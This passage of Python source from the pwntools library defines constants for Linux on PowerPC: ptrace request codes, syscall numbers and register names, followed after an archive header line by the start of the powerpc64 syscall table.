PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',330) SYS_accept4 = Constant('SYS_accept4',344) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',269) SYS_adjtimex = Constant('SYS_adjtimex',124) SYS_afs_syscall = Constant('SYS_afs_syscall',137) SYS_alarm = Constant('SYS_alarm',27) SYS_bdflush = Constant('SYS_bdflush',134) SYS_bind = Constant('SYS_bind',327) SYS_bpf = Constant('SYS_bpf',361) SYS_break = Constant('SYS_break',17) SYS_brk = Constant('SYS_brk',45) SYS_capget = Constant('SYS_capget',183) SYS_capset = Constant('SYS_capset',184) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',181) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',347) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405) SYS_clock_getres = Constant('SYS_clock_getres',247) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406) SYS_clock_gettime = Constant('SYS_clock_gettime',246) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',403) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',248) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407) SYS_clock_settime = Constant('SYS_clock_settime',245) SYS_clock_settime64 = Constant('SYS_clock_settime64',404) SYS_clone = Constant('SYS_clone',120) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',328) SYS_copy_file_range = Constant('SYS_copy_file_range',379) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',127) SYS_delete_module = Constant('SYS_delete_module',129) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',63) SYS_dup3 = Constant('SYS_dup3',316) SYS_epoll_create = Constant('SYS_epoll_create',236) SYS_epoll_create1 = Constant('SYS_epoll_create1',315) SYS_epoll_ctl = Constant('SYS_epoll_ctl',237) SYS_epoll_pwait = Constant('SYS_epoll_pwait',303) SYS_epoll_wait = Constant('SYS_epoll_wait',238) SYS_eventfd = Constant('SYS_eventfd',307) SYS_eventfd2 = Constant('SYS_eventfd2',314) SYS_execve = Constant('SYS_execve',11) SYS_execveat = Constant('SYS_execveat',362) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',234) SYS_faccessat = Constant('SYS_faccessat',298) SYS_fadvise64 = Constant('SYS_fadvise64',233) SYS_fadvise64_64 = Constant('SYS_fadvise64_64',254) SYS_fallocate = Constant('SYS_fallocate',309) SYS_fanotify_init = Constant('SYS_fanotify_init',323) SYS_fanotify_mark = Constant('SYS_fanotify_mark',324) SYS_fchdir = Constant('SYS_fchdir',133) SYS_fchmod = Constant('SYS_fchmod',94) SYS_fchmodat = Constant('SYS_fchmodat',297) SYS_fchown = Constant('SYS_fchown',95) SYS_fchownat = Constant('SYS_fchownat',289) SYS_fcntl = Constant('SYS_fcntl',55) SYS_fcntl64 = Constant('SYS_fcntl64',204) SYS_fdatasync = Constant('SYS_fdatasync',148) SYS_fgetxattr = Constant('SYS_fgetxattr',214) SYS_finit_module = Constant('SYS_finit_module',353) SYS_flistxattr = Constant('SYS_flistxattr',217) SYS_flock = Constant('SYS_flock',143) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',220) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',211) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',108) SYS_fstat64 = Constant('SYS_fstat64',197) SYS_fstatat64 = Constant('SYS_fstatat64',291) SYS_fstatfs = Constant('SYS_fstatfs',100) SYS_fstatfs64 = Constant('SYS_fstatfs64',253) SYS_fsync = Constant('SYS_fsync',118) SYS_ftime = Constant('SYS_ftime',35) SYS_ftruncate = Constant('SYS_ftruncate',93) SYS_ftruncate64 = Constant('SYS_ftruncate64',194) SYS_futex = Constant('SYS_futex',221) SYS_futex_time64 = Constant('SYS_futex_time64',422) SYS_futimesat = Constant('SYS_futimesat',290) SYS_getcpu = Constant('SYS_getcpu',302) SYS_getcwd = Constant('SYS_getcwd',182) SYS_getdents = Constant('SYS_getdents',141) SYS_getdents64 = Constant('SYS_getdents64',202) SYS_getegid = Constant('SYS_getegid',50) SYS_geteuid = Constant('SYS_geteuid',49) SYS_getgid = Constant('SYS_getgid',47) SYS_getgroups = Constant('SYS_getgroups',80) SYS_getitimer = Constant('SYS_getitimer',105) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130) SYS_getpeername = Constant('SYS_getpeername',332) SYS_getpgid = Constant('SYS_getpgid',132) SYS_getpgrp = Constant('SYS_getpgrp',65) SYS_getpid = Constant('SYS_getpid',20) SYS_getpmsg = Constant('SYS_getpmsg',187) SYS_getppid = Constant('SYS_getppid',64) SYS_getpriority = Constant('SYS_getpriority',96) SYS_getrandom = Constant('SYS_getrandom',359) SYS_getresgid = Constant('SYS_getresgid',170) SYS_getresuid = Constant('SYS_getresuid',165) SYS_getrlimit = Constant('SYS_getrlimit',76) SYS_get_robust_list = Constant('SYS_get_robust_list',299) SYS_getrusage = Constant('SYS_getrusage',77) SYS_getsid = Constant('SYS_getsid',147) SYS_getsockname = Constant('SYS_getsockname',331) SYS_getsockopt = Constant('SYS_getsockopt',340) SYS_gettid = Constant('SYS_gettid',207) SYS_gettimeofday = Constant('SYS_gettimeofday',78) SYS_getuid = Constant('SYS_getuid',24) SYS_getxattr = Constant('SYS_getxattr',212) SYS_gtty = Constant('SYS_gtty',32) SYS_idle = Constant('SYS_idle',112) SYS_init_module = Constant('SYS_init_module',128) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',276) SYS_inotify_init = Constant('SYS_inotify_init',275) SYS_inotify_init1 = Constant('SYS_inotify_init1',318) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',277) SYS_io_cancel = Constant('SYS_io_cancel',231) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',228) SYS_io_getevents = Constant('SYS_io_getevents',229) SYS_ioperm = Constant('SYS_ioperm',101) SYS_io_pgetevents = Constant('SYS_io_pgetevents',388) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416) SYS_iopl = Constant('SYS_iopl',110) SYS_ioprio_get = Constant('SYS_ioprio_get',274) SYS_ioprio_set = Constant('SYS_ioprio_set',273) SYS_io_setup = Constant('SYS_io_setup',227) SYS_io_submit = Constant('SYS_io_submit',230) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',117) SYS_kcmp = Constant('SYS_kcmp',354) SYS_kexec_file_load = Constant('SYS_kexec_file_load',382) SYS_kexec_load = Constant('SYS_kexec_load',268) SYS_keyctl = Constant('SYS_keyctl',271) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lgetxattr = Constant('SYS_lgetxattr',213) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',294) SYS_listen = Constant('SYS_listen',329) SYS_listxattr = Constant('SYS_listxattr',215) SYS_llistxattr = Constant('SYS_llistxattr',216) SYS__llseek = Constant('SYS__llseek',140) SYS_lock = Constant('SYS_lock',53) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',235) SYS_lremovexattr = Constant('SYS_lremovexattr',219) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',210) SYS_lstat = Constant('SYS_lstat',107) SYS_lstat64 = Constant('SYS_lstat64',196) SYS_madvise = Constant('SYS_madvise',205) SYS_membarrier = Constant('SYS_membarrier',365) SYS_memfd_create = Constant('SYS_memfd_create',360) SYS_mincore = Constant('SYS_mincore',206) SYS_mkdir = Constant('SYS_mkdir',39) SYS_mkdirat = Constant('SYS_mkdirat',287) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',288) SYS_mlock = Constant('SYS_mlock',150) SYS_mlock2 = Constant('SYS_mlock2',378) SYS_mlockall = Constant('SYS_mlockall',152) SYS_mmap = Constant('SYS_mmap',90) SYS_mmap2 = Constant('SYS_mmap2',192) SYS_modify_ldt = Constant('SYS_modify_ldt',123) SYS_mount = Constant('SYS_mount',21) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',301) SYS_mprotect = Constant('SYS_mprotect',125) SYS_mpx = Constant('SYS_mpx',56) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',267) SYS_mq_notify = Constant('SYS_mq_notify',266) SYS_mq_open = Constant('SYS_mq_open',262) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',265) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419) SYS_mq_timedsend = Constant('SYS_mq_timedsend',264) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418) SYS_mq_unlink = Constant('SYS_mq_unlink',263) SYS_mremap = Constant('SYS_mremap',163) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',144) SYS_multiplexer = Constant('SYS_multiplexer',201) SYS_munlock = Constant('SYS_munlock',151) SYS_munlockall = Constant('SYS_munlockall',153) SYS_munmap = Constant('SYS_munmap',91) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',345) SYS_nanosleep = Constant('SYS_nanosleep',162) SYS__newselect = Constant('SYS__newselect',142) SYS_nfsservctl = Constant('SYS_nfsservctl',168) SYS_nice = Constant('SYS_nice',34) SYS_oldfstat = Constant('SYS_oldfstat',28) SYS_oldlstat = Constant('SYS_oldlstat',84) SYS_oldolduname = Constant('SYS_oldolduname',59) SYS_oldstat = Constant('SYS_oldstat',18) SYS_olduname = Constant('SYS_olduname',109) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',286) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',346) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',200) SYS_pciconfig_read = Constant('SYS_pciconfig_read',198) SYS_pciconfig_write = Constant('SYS_pciconfig_write',199) SYS_perf_event_open = Constant('SYS_perf_event_open',319) SYS_personality = Constant('SYS_personality',136) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',317) SYS_pivot_root = Constant('SYS_pivot_root',203) SYS_pkey_alloc = Constant('SYS_pkey_alloc',384) SYS_pkey_free = Constant('SYS_pkey_free',385) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',386) SYS_poll = Constant('SYS_poll',167) SYS_ppoll = Constant('SYS_ppoll',281) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',414) SYS_prctl = Constant('SYS_prctl',171) SYS_pread = Constant('SYS_pread',179) SYS_preadv = Constant('SYS_preadv',320) SYS_preadv2 = Constant('SYS_preadv2',380) SYS_prlimit64 = Constant('SYS_prlimit64',325) SYS_process_vm_readv = Constant('SYS_process_vm_readv',351) SYS_process_vm_writev = Constant('SYS_process_vm_writev',352) SYS_prof = Constant('SYS_prof',44) SYS_profil = Constant('SYS_profil',98) SYS_pselect6 = Constant('SYS_pselect6',280) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',413) SYS_ptrace = Constant('SYS_ptrace',26) SYS_putpmsg = Constant('SYS_putpmsg',188) SYS_pwrite = Constant('SYS_pwrite',180) SYS_pwritev = Constant('SYS_pwritev',321) SYS_pwritev2 = Constant('SYS_pwritev2',381) SYS_query_module = Constant('SYS_query_module',166) SYS_quotactl = Constant('SYS_quotactl',131) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',191) SYS_readdir = Constant('SYS_readdir',89) SYS_readlink = Constant('SYS_readlink',85) SYS_readlinkat = Constant('SYS_readlinkat',296) SYS_readv = Constant('SYS_readv',145) SYS_reboot = Constant('SYS_reboot',88) SYS_recv = Constant('SYS_recv',336) SYS_recvfrom = Constant('SYS_recvfrom',337) SYS_recvmmsg = Constant('SYS_recvmmsg',343) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417) SYS_recvmsg = Constant('SYS_recvmsg',342) SYS_remap_file_pages = Constant('SYS_remap_file_pages',239) SYS_removexattr = Constant('SYS_removexattr',218) SYS_rename = Constant('SYS_rename',38) SYS_renameat = Constant('SYS_renameat',293) SYS_renameat2 = Constant('SYS_renameat2',357) SYS_request_key = Constant('SYS_request_key',270) SYS_rmdir = Constant('SYS_rmdir',40) SYS_rseq = Constant('SYS_rseq',387) SYS_rtas = Constant('SYS_rtas',255) SYS_rt_sigaction = Constant('SYS_rt_sigaction',173) SYS_rt_sigpending = Constant('SYS_rt_sigpending',175) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',174) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',177) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',172) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',178) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',176) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',322) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',223) SYS_sched_getattr = Constant('SYS_sched_getattr',356) SYS_sched_getparam = Constant('SYS_sched_getparam',155) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',222) SYS_sched_setattr = Constant('SYS_sched_setattr',355) SYS_sched_setparam = Constant('SYS_sched_setparam',154) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156) SYS_sched_yield = Constant('SYS_sched_yield',158) SYS_seccomp = Constant('SYS_seccomp',358) SYS_select = Constant('SYS_select',82) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420) SYS_send = Constant('SYS_send',334) SYS_sendfile = Constant('SYS_sendfile',186) SYS_sendfile64 = Constant('SYS_sendfile64',226) SYS_sendmmsg = Constant('SYS_sendmmsg',349) SYS_sendmsg = Constant('SYS_sendmsg',341) SYS_sendto = Constant('SYS_sendto',335) SYS_setdomainname = Constant('SYS_setdomainname',121) SYS_setfsgid = Constant('SYS_setfsgid',139) SYS_setfsuid = Constant('SYS_setfsuid',138) SYS_setgid = Constant('SYS_setgid',46) SYS_setgroups = Constant('SYS_setgroups',81) SYS_sethostname = Constant('SYS_sethostname',74) SYS_setitimer = Constant('SYS_setitimer',104) SYS_setns = Constant('SYS_setns',350) SYS_setpgid = Constant('SYS_setpgid',57) SYS_setpriority = Constant('SYS_setpriority',97) SYS_setregid = Constant('SYS_setregid',71) SYS_setresgid = Constant('SYS_setresgid',169) SYS_setresuid = Constant('SYS_setresuid',164) SYS_setreuid = Constant('SYS_setreuid',70) SYS_setrlimit = Constant('SYS_setrlimit',75) SYS_set_robust_list = Constant('SYS_set_robust_list',300) SYS_setsid = Constant('SYS_setsid',66) SYS_setsockopt = Constant('SYS_setsockopt',339) SYS_set_tid_address = Constant('SYS_set_tid_address',232) SYS_settimeofday = Constant('SYS_settimeofday',79) SYS_setuid = Constant('SYS_setuid',23) SYS_setxattr = Constant('SYS_setxattr',209) SYS_sgetmask = Constant('SYS_sgetmask',68) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',338) SYS_sigaction = Constant('SYS_sigaction',67) SYS_sigaltstack = Constant('SYS_sigaltstack',185) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',305) SYS_signalfd4 = Constant('SYS_signalfd4',313) SYS_sigpending = Constant('SYS_sigpending',73) SYS_sigprocmask = Constant('SYS_sigprocmask',126) SYS_sigreturn = Constant('SYS_sigreturn',119) SYS_sigsuspend = Constant('SYS_sigsuspend',72) SYS_socket = Constant('SYS_socket',326) SYS_socketcall = Constant('SYS_socketcall',102) SYS_socketpair = Constant('SYS_socketpair',333) SYS_splice = Constant('SYS_splice',283) SYS_spu_create = Constant('SYS_spu_create',279) SYS_spu_run = Constant('SYS_spu_run',278) SYS_ssetmask = Constant('SYS_ssetmask',69) SYS_stat = Constant('SYS_stat',106) SYS_stat64 = Constant('SYS_stat64',195) SYS_statfs = Constant('SYS_statfs',99) SYS_statfs64 = Constant('SYS_statfs64',252) SYS_statx = Constant('SYS_statx',383) SYS_stime = Constant('SYS_stime',25) SYS_stty = Constant('SYS_stty',31) SYS_subpage_prot = Constant('SYS_subpage_prot',310) SYS_swapcontext = Constant('SYS_swapcontext',249) SYS_swapoff = Constant('SYS_swapoff',115) SYS_swapon = Constant('SYS_swapon',87) SYS_switch_endian = Constant('SYS_switch_endian',363) SYS_symlink = Constant('SYS_symlink',83) SYS_symlinkat = Constant('SYS_symlinkat',295) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range2 = Constant('SYS_sync_file_range2',308) SYS_syncfs = Constant('SYS_syncfs',348) SYS__sysctl = Constant('SYS__sysctl',149) SYS_sys_debug_setcontext = Constant('SYS_sys_debug_setcontext',256) SYS_sysfs = Constant('SYS_sysfs',135) SYS_sysinfo = Constant('SYS_sysinfo',116) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',284) SYS_tgkill = Constant('SYS_tgkill',250) SYS_time = Constant('SYS_time',13) SYS_timer_create = Constant('SYS_timer_create',240) SYS_timer_delete = Constant('SYS_timer_delete',244) SYS_timerfd = Constant('SYS_timerfd',306) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',312) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410) SYS_timerfd_settime = Constant('SYS_timerfd_settime',311) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',243) SYS_timer_gettime = Constant('SYS_timer_gettime',242) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',408) SYS_timer_settime = Constant('SYS_timer_settime',241) SYS_timer_settime64 = Constant('SYS_timer_settime64',409) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',208) SYS_truncate = Constant('SYS_truncate',92) SYS_truncate64 = Constant('SYS_truncate64',193) SYS_tuxcall = Constant('SYS_tuxcall',225) SYS_ugetrlimit = Constant('SYS_ugetrlimit',190) SYS_ulimit = Constant('SYS_ulimit',58) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount2 = Constant('SYS_umount2',52) SYS_uname = Constant('SYS_uname',122) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',292) SYS_unshare = Constant('SYS_unshare',282) SYS_uselib = Constant('SYS_uselib',86) SYS_userfaultfd = Constant('SYS_userfaultfd',364) SYS_ustat = Constant('SYS_ustat',62) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',304) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',412) SYS_utimes = Constant('SYS_utimes',251) SYS_vfork = Constant('SYS_vfork',189) SYS_vhangup = Constant('SYS_vhangup',111) SYS_vm86 = Constant('SYS_vm86',113) SYS_vmsplice = Constant('SYS_vmsplice',285) SYS_wait4 = Constant('SYS_wait4',114) SYS_waitid = Constant('SYS_waitid',272) SYS_waitpid = Constant('SYS_waitpid',7) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',146) r0 = Constant('r0',0) r1 = Constant('r1',1) r2 = Constant('r2',2) r3 = Constant('r3',3) r4 = Constant('r4',4) r5 = Constant('r5',5) r6 = Constant('r6',6) r7 = Constant('r7',7) r8 = Constant('r8',8) r9 = Constant('r9',9) r10 = Constant('r10',10) r11 = Constant('r11',11) r12 = Constant('r12',12) r13 = Constant('r13',13) r14 = Constant('r14',14) r15 = Constant('r15',15) r16 = Constant('r16',16) r17 = Constant('r17',17) r18 = Constant('r18',18) r19 = Constant('r19',19) r20 = Constant('r20',20) r21 = Constant('r21',21) r22 = Constant('r22',22) r23 = Constant('r23',23) r24 = Constant('r24',24) r25 = Constant('r25',25) r26 = Constant('r26',26) r27 = Constant('r27',27) r28 = Constant('r28',28) r29 = Constant('r29',29) r30 = Constant('r30',30) r31 = Constant('r31',31) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/powerpc64.py000066400000000000000000001770551507273764500250720ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_waitpid = Constant('__NR_waitpid',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execve = Constant('__NR_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_time = Constant('__NR_time',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_break = Constant('__NR_break',17) __NR_oldstat = Constant('__NR_oldstat',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_mount = Constant('__NR_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_stime = Constant('__NR_stime',25) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_oldfstat = Constant('__NR_oldfstat',28) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_stty = Constant('__NR_stty',31) __NR_gtty = Constant('__NR_gtty',32) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_ftime = Constant('__NR_ftime',35) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_rename = Constant('__NR_rename',38) __NR_mkdir = Constant('__NR_mkdir',39) __NR_rmdir = Constant('__NR_rmdir',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_prof = Constant('__NR_prof',44) __NR_brk = Constant('__NR_brk',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_umount2 = Constant('__NR_umount2',52) __NR_lock = Constant('__NR_lock',53) __NR_ioctl = Constant('__NR_ioctl',54) __NR_fcntl = Constant('__NR_fcntl',55) __NR_mpx = Constant('__NR_mpx',56) __NR_setpgid = Constant('__NR_setpgid',57) __NR_ulimit = Constant('__NR_ulimit',58) __NR_oldolduname = Constant('__NR_oldolduname',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_ustat = Constant('__NR_ustat',62) __NR_dup2 = Constant('__NR_dup2',63) __NR_getppid = Constant('__NR_getppid',64) __NR_getpgrp = Constant('__NR_getpgrp',65) __NR_setsid = Constant('__NR_setsid',66) __NR_sigaction = Constant('__NR_sigaction',67) __NR_sgetmask = Constant('__NR_sgetmask',68) __NR_ssetmask = Constant('__NR_ssetmask',69) __NR_setreuid = Constant('__NR_setreuid',70) __NR_setregid = Constant('__NR_setregid',71) __NR_sigsuspend = Constant('__NR_sigsuspend',72) __NR_sigpending = Constant('__NR_sigpending',73) __NR_sethostname = Constant('__NR_sethostname',74) __NR_setrlimit = Constant('__NR_setrlimit',75) __NR_getrlimit = Constant('__NR_getrlimit',76) __NR_getrusage = Constant('__NR_getrusage',77) __NR_gettimeofday = Constant('__NR_gettimeofday',78) __NR_settimeofday = Constant('__NR_settimeofday',79) __NR_getgroups = Constant('__NR_getgroups',80) __NR_setgroups = Constant('__NR_setgroups',81) __NR_select = Constant('__NR_select',82) __NR_symlink = Constant('__NR_symlink',83) __NR_oldlstat = Constant('__NR_oldlstat',84) __NR_readlink = Constant('__NR_readlink',85) __NR_uselib = Constant('__NR_uselib',86) __NR_swapon = Constant('__NR_swapon',87) __NR_reboot = Constant('__NR_reboot',88) __NR_readdir = Constant('__NR_readdir',89) __NR_mmap = Constant('__NR_mmap',90) __NR_munmap = Constant('__NR_munmap',91) __NR_truncate = Constant('__NR_truncate',92) __NR_ftruncate = Constant('__NR_ftruncate',93) __NR_fchmod = Constant('__NR_fchmod',94) __NR_fchown = Constant('__NR_fchown',95) __NR_getpriority = Constant('__NR_getpriority',96) __NR_setpriority = Constant('__NR_setpriority',97) __NR_profil = Constant('__NR_profil',98) __NR_statfs = Constant('__NR_statfs',99) __NR_fstatfs = Constant('__NR_fstatfs',100) __NR_ioperm = Constant('__NR_ioperm',101) __NR_socketcall = Constant('__NR_socketcall',102) __NR_syslog = Constant('__NR_syslog',103) __NR_setitimer = Constant('__NR_setitimer',104) __NR_getitimer = Constant('__NR_getitimer',105) __NR_stat = Constant('__NR_stat',106) __NR_lstat = Constant('__NR_lstat',107) __NR_fstat = Constant('__NR_fstat',108) __NR_olduname = Constant('__NR_olduname',109) __NR_iopl = Constant('__NR_iopl',110) __NR_vhangup = Constant('__NR_vhangup',111) __NR_idle = Constant('__NR_idle',112) __NR_vm86 = Constant('__NR_vm86',113) __NR_wait4 = Constant('__NR_wait4',114) __NR_swapoff = Constant('__NR_swapoff',115) __NR_sysinfo = Constant('__NR_sysinfo',116) __NR_ipc = Constant('__NR_ipc',117) __NR_fsync = Constant('__NR_fsync',118) __NR_sigreturn = Constant('__NR_sigreturn',119) __NR_clone = Constant('__NR_clone',120) __NR_setdomainname = Constant('__NR_setdomainname',121) __NR_uname = Constant('__NR_uname',122) __NR_modify_ldt = Constant('__NR_modify_ldt',123) __NR_adjtimex = Constant('__NR_adjtimex',124) __NR_mprotect = Constant('__NR_mprotect',125) __NR_sigprocmask = Constant('__NR_sigprocmask',126) __NR_create_module = Constant('__NR_create_module',127) __NR_init_module = Constant('__NR_init_module',128) __NR_delete_module = Constant('__NR_delete_module',129) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130) __NR_quotactl = Constant('__NR_quotactl',131) __NR_getpgid = Constant('__NR_getpgid',132) __NR_fchdir = Constant('__NR_fchdir',133) __NR_bdflush = Constant('__NR_bdflush',134) __NR_sysfs = Constant('__NR_sysfs',135) __NR_personality = Constant('__NR_personality',136) __NR_afs_syscall = Constant('__NR_afs_syscall',137) __NR_setfsuid = Constant('__NR_setfsuid',138) __NR_setfsgid = Constant('__NR_setfsgid',139) __NR__llseek = Constant('__NR__llseek',140) __NR_getdents = Constant('__NR_getdents',141) __NR__newselect = Constant('__NR__newselect',142) __NR_flock = Constant('__NR_flock',143) __NR_msync = Constant('__NR_msync',144) __NR_readv = Constant('__NR_readv',145) __NR_writev = Constant('__NR_writev',146) __NR_getsid = Constant('__NR_getsid',147) __NR_fdatasync = Constant('__NR_fdatasync',148) __NR__sysctl = Constant('__NR__sysctl',149) __NR_mlock = Constant('__NR_mlock',150) __NR_munlock = Constant('__NR_munlock',151) __NR_mlockall = Constant('__NR_mlockall',152) __NR_munlockall = Constant('__NR_munlockall',153) __NR_sched_setparam = Constant('__NR_sched_setparam',154) __NR_sched_getparam = Constant('__NR_sched_getparam',155) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157) __NR_sched_yield = Constant('__NR_sched_yield',158) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161) __NR_nanosleep = Constant('__NR_nanosleep',162) __NR_mremap = 